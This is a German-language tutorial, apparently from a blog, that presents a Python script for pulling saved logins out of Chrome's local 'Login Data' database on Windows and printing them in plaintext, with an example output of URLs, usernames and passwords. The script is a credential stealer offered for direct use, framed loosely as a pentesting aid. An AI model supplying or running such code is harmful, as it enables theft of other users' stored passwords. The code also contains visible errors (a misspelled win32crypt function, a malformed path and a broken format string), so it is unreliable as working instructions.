Google Chrome verfügt über eine integrierte Passwort-Manager-Funktion, die alle Passwörter sowohl in der Cloud über eine SQLite-Datenbankdatei als auch auf einem lokalen Gerät speichert, von dem Sie die Passwörter abrufen können. Sie können einige Python-Codes oder Bibliotheken von Drittanbietern verwenden, um all diese Informationen abzugreifen und sie dann in Klartext-Passwörter zu entschlüsseln! In diesem anfängerfreundlichen Tutorial schreiben wir Python-Code, um gespeicherte Passwörter aus dem Chrome-Browser auf einem Windows-Computer zu extrahieren. Dieses Tutorial hilft Ihnen, gespeicherte Chrome-Passwörter zu extrahieren und mit Python zu entschlüsseln.
Aber lassen Sie uns zunächst den Zweck und den Hintergrund dieses Tutorials besprechen. Auf vielen Betriebssystemen, hauptsächlich Windows und MacOS, speichert Google Chrome die gespeicherten Passwörter seiner Benutzer in einer Datenbank. Chrome verfügt über eine integrierte Passwort-Manager-Funktion, die alle Passwörter sowohl in der Cloud über eine SQLite-Datenbankdatei als auch auf Ihrem lokalen System speichert, von dem Sie die Passwörter abrufen können. Wir gehen zu etwas Python-Code, einigen Bibliotheken von Drittanbietern und ein bisschen Ellbogenfett, um all diese Informationen zu extrahieren und sie dann in Klartext-Passwörter zu entschlüsseln!
Dies ist ein Python-Skript zum Extrahieren gespeicherter Passwörter aus dem Google Chrome-Browser, das von jedem verwendet werden kann, der sich mit Cybersicherheit, Netzwerkpenetrationstests, Softwaresicherheitsanalysen, IT-Sicherheitsaudits oder Forensik beschäftigt. Dies kann viel Zeit sparen, da Sie die Liste der gespeicherten Passwörter und deren Speicherorte nicht manuell erfassen müssen, sondern nur das Skript ausführen müssen, und es wird die gesamte Arbeit für Sie erledigen.
Aus Sicherheitsgründen speichert Chrome seine Passwörter sehr sicher und macht sie unlesbar. Um die gespeicherten Daten aus Chrome abzurufen, müssen wir sie also ein wenig entschlüsseln und vereinfachen, um die Datenbank lesbar zu machen. Dazu benötigen Sie win32crypt, einen Decoder und den wichtigsten Teil für die Funktion dieser Anwendung. Sie können es mit dem folgenden Befehl installieren, indem Sie ihn in der Eingabeaufforderung ausführen.
pip3 install pywin32
Wenn beim Upgrade Probleme auftreten, können Sie auch versuchen, Folgendes auszuführen:
python3 Scripts/pywin32_postinstall.py -install
Wir werden bei diesem Projekt auch mit SQLite zusammenarbeiten, aber das ist in den meisten Windows- und Mac-basierten Systemen vorinstalliert.
Codieren der Anwendung
Lassen Sie uns nun damit beginnen, die Anwendung selbst zu erstellen, aber bevor Sie sicherstellen, dass Sie alle oben genannten Voraussetzungen erfüllen. Gehen Sie in Ihr gewünschtes Verzeichnis und erstellen Sie eine Datei namens passwords_extractor.py oder etwas, das Sie möglicherweise möchten, und fügen Sie den folgenden Code darin ein:
import os
import sqlite3
import win32crypt
Dies sind unsere Startblöcke, um alles im Projekt zu tun; hier haben wir win32crypt importiert. Dies ist der Hauptteil, der uns im Grunde hilft, das Passwort zu erhalten, sqlite3 für den Zugriff auf die Datenbank und das Ausführen von SQL-Abfragen und das Betriebssystem zum Abrufen der Datenbankdateien.
def get_chrome():
data_path = os.path.expanduser('~') + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
Die def get_chrome():-Funktion hier ist unsere Hauptfunktion, um die tief in Ihrem Dateisystem gespeicherten Datenbankdateien abzurufen. Der obige Pfad sollte für fast jedes Windows-basierte System funktionieren.
Der Pfad auf Mac-basierten Systemen sollte in etwa so aussehen “~/Library/Application Support/Google/Chrome/(Default|{PROFILE})/Login Data
”
Hinweis: Wenn Sie sicherstellen möchten, dass der Pfad korrekt ist (zumindest unter Windows), können Sie die Datei aufrufen, indem Sie „win + r“ drücken, und ein Popup-Fenster sollte erscheinen, geben Sie „%APPDATA%“ ein, drücken Sie die Eingabetaste und eine Datei sollte erscheinen. Sie können hier navigieren, um zu sehen, ob die Datei „Login Data“ hier ist oder nicht.
c = sqlite3.connect(data_path)
# connecting to the database through the variable 'c'
cursor = c.cursor()
select_statment = 'SELECT origin_url, username_value, password_value FROM Logins'
# here we are using the 'SELECT' statement to get the values 'FROM' another value in the database provided above
cursor.execute(select_statment)
# this is to execute the SQL query and get the values from the database
login_data = cursor.fetchall()
# this is to fetch all data from the database
Hier, select_statment darin verwenden wir die ‚SELECT‘-Anweisung, um die Daten anzugeben, die wir benötigen ‚FROM‘ einen anderen Wert in der Datenbank namens Logins. Und nach dem Abrufen der Daten in dieser Datenbank können wir jedes gespeicherte Konto finden, von dem wir sein gespeichertes Passwort auf einmal wiederherstellen können.
cred = {}
string = ''
for url, user_name, pwd in login_data:
pwd = win32crypt.CrypyUnprotectData(pwd)
cred[url] = (user_name, pwd[1].decode('utf8'))
# we have the pwd'[1]' above to index it to 1 because if we don't, we'll get some extra baggage which we don't require for this project
string += '\n[+] URL:%s USERNAME:%s PASSWORD:%\n' % (url,user_name,pwd[1]. decode('utf8'))
print(string)
Hier in cred[url] geben wir an, in welcher Form die Daten sein sollen. Da die Datenbank verschlüsselt wurde, entschlüsseln wir die Daten auch hier über win32crypt, das wir vollständig importiert haben. Hier haben wir die Daten auch in einem Zeichenfolgenwert übergeben, damit die Ergebnisse in einer sauberen Zeile angezeigt werden.
if __name__=='__main__':
get_chrome()
Und zum Schluss fügen Sie dies hinzu, um die Funktion zu beenden und die Ergebnisse zu drucken. Unten ist die Umsetzung.
import os
import sqlite3
# for accessing the database and doing SQL queries
import win32crypt
# this is the main part that will help us get the password basically
def get_chrome():
# this will be our main function to get the passwords and user names
data_path = os.path.expanduser('~') + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
# here 'r' is necessary to put in front of the path because it contains slashes '\'
# this is the path to the Chrome browser database where the passwords are stored on most Windows-based system
c = sqlite3.connect(data_path)
# connecting to the database through the variable 'c'
cursor = c.cursor()
select_statment = 'SELECT origin_url, username_value, password_value FROM Logins'
# here we are using the 'SELECT' statement to get the values 'FROM' another value in the database provided above
cursor.execute(select_statment)
# this is to execute the SQL query and get the values from the database
login_data = cursor.fetchall()
# this is to fetch all data from the database
cred = {}
string = ''
for url, user_name, pwd in login_data:
# here we are specifying what data we need from login_data
pwd = win32crypt.CrypyUnprotectData(pwd)
cred[url] = (user_name, pwd[1].decode('utf8'))
# we have the pwd'[1]' above to index it to 1 because if we don't, we'll get some extra baggage which we don't require for this project
string += '\n[+] URL:%s USERNAME:%s PASSWORD:%\n' % (url,user_name,pwd[1]. decode('utf8'))
# by doing this we'll get the results in a clean one-line string
print(string)
if __name__=='__main__':
get_chrome()
Und es ist fertig, Sie können es mit python passwords_extractor.py oder einem beliebigen Namen ausführen, der der Datei in der Eingabeaufforderung gegeben wurde, in der Sie Ihre Projektdatei gespeichert haben, führen Sie sie aus und Sie sollten ein Ergebnis wie dieses sehen:
C:\Users\Windows\Desktop> python Password_extractor.py
[+] URL:https://accounts.google.com/signin/v2/s1/pwd USERNAME:admin.geekyhuman.com PASSWORD:GeekyHuman@123
[+] URL:https://accounts.google.com/signin/v2/s1/pwd USERNAME:admin.geekyhuman.com PASSWORD:GeekyHuman@123
Hinweis: Sie müssen Chrome schließen, bevor Sie den Befehl ausführen, sonst erhalten Sie eine Fehlermeldung: sqlite3.OprationalError: database is locked.
Und das ist es! So können Sie gespeicherte Chrome-Passwörter extrahieren und mit Python entschlüsseln. Ich hoffe, es war leicht für Sie, den Code zu verstehen und zu implementieren.